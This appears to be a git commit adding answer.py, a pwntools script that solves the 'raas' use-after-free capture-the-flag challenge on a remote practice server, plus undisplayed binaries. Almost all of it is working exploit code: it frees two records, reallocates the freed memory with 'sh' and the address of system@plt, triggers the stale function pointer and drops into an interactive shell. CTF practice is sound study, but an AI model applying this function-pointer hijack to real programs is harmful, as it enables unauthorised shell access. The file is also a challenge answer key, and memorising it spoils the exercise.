Finished UAF/raas

This commit is contained in:
2021-09-20 11:37:12 +08:00
parent 04b5754972
commit b2a3744a9f
4 changed files with 48 additions and 0 deletions

48
UAF/raas/answer.py Normal file
View File

@@ -0,0 +1,48 @@
#!/usr/bin/env python2
from pwn import *
from LibcSearcher import *
from struct import pack
import os, base64, math, time
context(arch = "i386",os = "linux", log_level = "debug")
def record_new(p, index, rec_type, str_length, value):
p.recvuntil("Act > ")
p.sendline("1")
p.recvuntil("Index > ")
p.sendline(index)
p.recvuntil("Type > ")
p.sendline(rec_type)
if rec_type == "2":
p.recvuntil("Length > ")
p.sendline(str_length)
p.recvuntil("Value > ")
p.sendline(value)
def record_del(p, index):
p.recvuntil("Act > ")
p.sendline("2")
p.recvuntil("Index > ")
p.sendline(index)
p = remote("hackme.inndy.tw", 7719)
# p = process('./raas.patched')
elf = ELF('./raas.patched')
gdb_command = """
b *0x80487a3
b *0x8048880
b *0x804893a
"""
# two malloc in do_new, call eax in do_del
time.sleep(1)
# gdb.attach(p, gdb_command)
system_plt = elf.plt['system']
record_new(p, "0", "1", None, "0")
record_new(p, "1", "1", None, "0")
record_del(p, "1")
record_del(p, "0")
record_new(p, "2", "2", "12" , "sh\x00\x00" + p32(system_plt))
record_del(p, "1")
p.interactive()

BIN
UAF/raas/raas Executable file

Binary file not shown.

BIN
UAF/raas/raas.idb Normal file

Binary file not shown.

BIN
UAF/raas/raas.patched Executable file

Binary file not shown.